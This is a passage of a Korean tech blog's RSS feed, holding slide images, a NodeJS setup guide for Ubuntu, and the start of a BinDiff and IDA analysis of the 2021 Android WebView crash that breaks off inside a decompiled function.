&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드16.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCTe0h/btq8btGTxO5/GqfOwNWufKeq22VUShOE61/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCTe0h/btq8btGTxO5/GqfOwNWufKeq22VUShOE61/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCTe0h/btq8btGTxO5/GqfOwNWufKeq22VUShOE61/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCTe0h%2Fbtq8btGTxO5%2FGqfOwNWufKeq22VUShOE61%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드16.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드17.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t6rZn/btq8atOp5RN/NUCRitY3FMY04iDpSBoYkK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t6rZn/btq8atOp5RN/NUCRitY3FMY04iDpSBoYkK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t6rZn/btq8atOp5RN/NUCRitY3FMY04iDpSBoYkK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft6rZn%2Fbtq8atOp5RN%2FNUCRitY3FMY04iDpSBoYkK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드17.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드18.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3zf7j/btq789Rc7P7/dBESME3a93c7tKxasDY78K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3zf7j/btq789Rc7P7/dBESME3a93c7tKxasDY78K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3zf7j/btq789Rc7P7/dBESME3a93c7tKxasDY78K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3zf7j%2Fbtq789Rc7P7%2FdBESME3a93c7tKxasDY78K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드18.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드19.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vIEVr/btq8bt1cJQI/MIpBDAZykMbkmmO4pIhHC0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vIEVr/btq8bt1cJQI/MIpBDAZykMbkmmO4pIhHC0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vIEVr/btq8bt1cJQI/MIpBDAZykMbkmmO4pIhHC0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvIEVr%2Fbtq8bt1cJQI%2FMIpBDAZykMbkmmO4pIhHC0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드19.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드20.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKBLuf/btq8bMzsyCP/BxlSJKKlkHj7mIKRJxxdIK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKBLuf/btq8bMzsyCP/BxlSJKKlkHj7mIKRJxxdIK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKBLuf/btq8bMzsyCP/BxlSJKKlkHj7mIKRJxxdIK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKBLuf%2Fbtq8bMzsyCP%2FBxlSJKKlkHj7mIKRJxxdIK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드20.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=W1wJ1eEKZBM&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/dhf7Yy/hyKGnblg3I/YpePCBlMoOh3oqa9r784a1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/W1wJ1eEKZBM&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드22.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C0I5Q/btq8a6FckEa/aj8DDyFYhN85UnEJFCEBw1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C0I5Q/btq8a6FckEa/aj8DDyFYhN85UnEJFCEBw1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C0I5Q/btq8a6FckEa/aj8DDyFYhN85UnEJFCEBw1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC0I5Q%2Fbtq8a6FckEa%2Faj8DDyFYhN85UnEJFCEBw1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드22.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드23.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tKDE9/btq8aNy7QtN/JXd1Q0HhRkn5NQqdpCCPAK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tKDE9/btq8aNy7QtN/JXd1Q0HhRkn5NQqdpCCPAK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tKDE9/btq8aNy7QtN/JXd1Q0HhRkn5NQqdpCCPAK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtKDE9%2Fbtq8aNy7QtN%2FJXd1Q0HhRkn5NQqdpCCPAK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드23.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;슬라이드24.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zaODW/btq8a6rB37O/UCkKtECTz3CLpRFaOSpumk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zaODW/btq8a6rB37O/UCkKtECTz3CLpRFaOSpumk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zaODW/btq8a6rB37O/UCkKtECTz3CLpRFaOSpumk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzaODW%2Fbtq8a6rB37O%2FUCkKtECTz3CLpRFaOSpumk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;720&quot; data-filename=&quot;슬라이드24.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Development</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/267</guid>
      <comments>https://netking.tistory.com/267#entry267comment</comments>
      <pubDate>Fri, 25 Jun 2021 21:33:12 +0900</pubDate>
    </item>
    <item>
      <title>NodeJS Setting AtoZ</title>
      <link>https://netking.tistory.com/266</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;환경&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Ubuntu 20.04 LTS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;필수 패키지 설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo apt update&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ sudo apt install -y nodejs npm curl build-essential&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;모듈&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Express&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 프레임워크 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[생성] $ npm init&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[설치] $ sudo npm install -g express&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* &lt;span style=&quot;color: #555555;&quot;&gt;&lt;span&gt;-g : 글로벌 모듈로 현재 경로가 아닌 &lt;/span&gt;/usr/lib/node_modules에 설치&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Nodemon&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 재부팅 없이 수정할 수 있는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[설치] $ sudo npm install -g&amp;nbsp;nodemon&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[실행] $ nodemon server&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Forever&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비정상 종료시 재실행 시켜주는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[설치] $ sudo npm install forever -g&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[실행 및 재실행] $ sudo forever {start/restart} {app.js}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[종료] $ sudo forever stop {*.js/process}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[목록] $ sudo forever list&lt;/p&gt;</description>
      <category>Web</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/266</guid>
      <comments>https://netking.tistory.com/266#entry266comment</comments>
      <pubDate>Thu, 17 Jun 2021 17:28:02 +0900</pubDate>
    </item>
    <item>
      <title>[Google] 안드로이드 웹뷰(Android System WebView) 앱간 충돌 원인 분석</title>
      <link>https://netking.tistory.com/262</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ng5O9/btq0OjMI8C4/WEHvTwe2Oba7wB09IBD4W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ng5O9/btq0OjMI8C4/WEHvTwe2Oba7wB09IBD4W0/img.png&quot; data-alt=&quot;연합뉴스 기사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ng5O9/btq0OjMI8C4/WEHvTwe2Oba7wB09IBD4W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fng5O9%2Fbtq0OjMI8C4%2FWEHvTwe2Oba7wB09IBD4W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;64&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;연합뉴스 기사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/upnL1/btq0Uc6p1Pf/fWigzWEWz06JrtGaC2GwrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/upnL1/btq0Uc6p1Pf/fWigzWEWz06JrtGaC2GwrK/img.png&quot; data-alt=&quot;조선일보 기사&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/upnL1/btq0Uc6p1Pf/fWigzWEWz06JrtGaC2GwrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FupnL1%2Fbtq0Uc6p1Pf%2FfWigzWEWz06JrtGaC2GwrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;67&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;조선일보 기사&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;금일(21.03.23.) 안드로이드 스마트폰 이용자 사이에서 앱(카카오톡 등) 실행이 중단되는 이슈가 발생했고, 곧바로 핫픽스 업데이트로 해결되었다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;해당 원인(Google 형님들의 깜찍한 실수가...무엇인지)을 알아보고자 패치 전후 파일을 비교하며 원인 분석을 해보았다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;분석 대상&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 문제의 APK : &lt;a href=&quot;https://www.apkmirror.com/apk/google-inc/android-system-webview/android-system-webview-89-0-4389-90-release/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Android System WebView 89.0.4389.90&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 패치된 APK : &lt;a href=&quot;https://www.apkmirror.com/apk/google-inc/android-system-webview/android-system-webview-89-0-4389-105-release/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Android System WebView 89.0.4389.105&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;분석 전 작업&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 문제 파일 : libwebviewchromium.so&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0ES7x/btq0Q8cWcuf/15xplbVePsDWljOLKrtsmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0ES7x/btq0Q8cWcuf/15xplbVePsDWljOLKrtsmK/img.png&quot; data-alt=&quot;패치 전 vs 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0ES7x/btq0Q8cWcuf/15xplbVePsDWljOLKrtsmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0ES7x%2Fbtq0Q8cWcuf%2F15xplbVePsDWljOLKrtsmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;586&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;패치 전 vs 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2개의 라이브러리(&lt;span style=&quot;color: #000000;&quot;&gt;libwebviewchromium.so&lt;/span&gt;)를 가지고 먼저, &lt;/span&gt;IDA에서 바이너리 읽어와서 BinDiff로 비교해보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wPg9S/btq0OjF5N14/wdHuphfdQS2tz5DfozveUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wPg9S/btq0OjF5N14/wdHuphfdQS2tz5DfozveUk/img.png&quot; data-alt=&quot;크로미움 라이브러리 아니랄까봐 엄청 걸린다...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wPg9S/btq0OjF5N14/wdHuphfdQS2tz5DfozveUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwPg9S%2Fbtq0OjF5N14%2FwdHuphfdQS2tz5DfozveUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;598&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;크로미움 라이브러리 아니랄까봐 엄청 걸린다...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xO3DR/btq0Pb8WZlb/cmQ6AK97Vga880qE9BDpVK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xO3DR/btq0Pb8WZlb/cmQ6AK97Vga880qE9BDpVK/img.jpg&quot; data-alt=&quot;4시간째 Diffing .... o-&amp;amp;lt;-&amp;amp;lt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xO3DR/btq0Pb8WZlb/cmQ6AK97Vga880qE9BDpVK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxO3DR%2Fbtq0Pb8WZlb%2FcmQ6AK97Vga880qE9BDpVK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;780&quot; height=&quot;720&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;4시간째 Diffing .... o-&amp;lt;-&amp;lt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;593&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EXZqW/btq0TusVww4/yoo8Ohijuf9xrnNSywY4V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EXZqW/btq0TusVww4/yoo8Ohijuf9xrnNSywY4V1/img.png&quot; data-alt=&quot;DIff 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EXZqW/btq0TusVww4/yoo8Ohijuf9xrnNSywY4V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEXZqW%2Fbtq0TusVww4%2Fyoo8Ohijuf9xrnNSywY4V1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;786&quot; height=&quot;593&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;593&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DIff 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;2231&quot; data-origin-height=&quot;935&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs2Zxq/btq0Y48GXF1/7K8ufW8kuSjtysMANkYU80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs2Zxq/btq0Y48GXF1/7K8ufW8kuSjtysMANkYU80/img.png&quot; data-alt=&quot;유사도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs2Zxq/btq0Y48GXF1/7K8ufW8kuSjtysMANkYU80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs2Zxq%2Fbtq0Y48GXF1%2F7K8ufW8kuSjtysMANkYU80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1226&quot; height=&quot;935&quot; data-origin-width=&quot;2231&quot; data-origin-height=&quot;935&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;유사도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;분석&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 90.so&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;(sub_29D69E4)&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __fastcall sub_29D69E4(int a1, int a2, int a3, _DWORD *a4)
{
  unsigned __int64 v8; // kr00_8
  int v9; // r7
  int v10; // r1
  int result; // r0
  int v12; // r1
  __int64 v13; // r0
  int v14; // r1
  unsigned __int64 v15; // kr08_8
  int v16; // r1
  unsigned int v17; // r5
  int v18; // r10
  unsigned int v19; // r8
  unsigned int v20; // r3
  unsigned __int64 v21; // r0
  unsigned __int64 v22; // r0
  int v23; // r0
  unsigned int v24; // r1
  int v25; // r1
  unsigned __int64 v26; // r2
  int v27; // r5
  int v28; // r1
  int v29; // [sp+18h] [bp-E0h]
  char v30[12]; // [sp+24h] [bp-D4h] BYREF
  char v31[8]; // [sp+30h] [bp-C8h] BYREF
  _BYTE v32[192]; // [sp+38h] [bp-C0h] BYREF

  if ( !(*(int (__fastcall **)(int))(*(_DWORD *)a2 + 12))(a2) )
  {
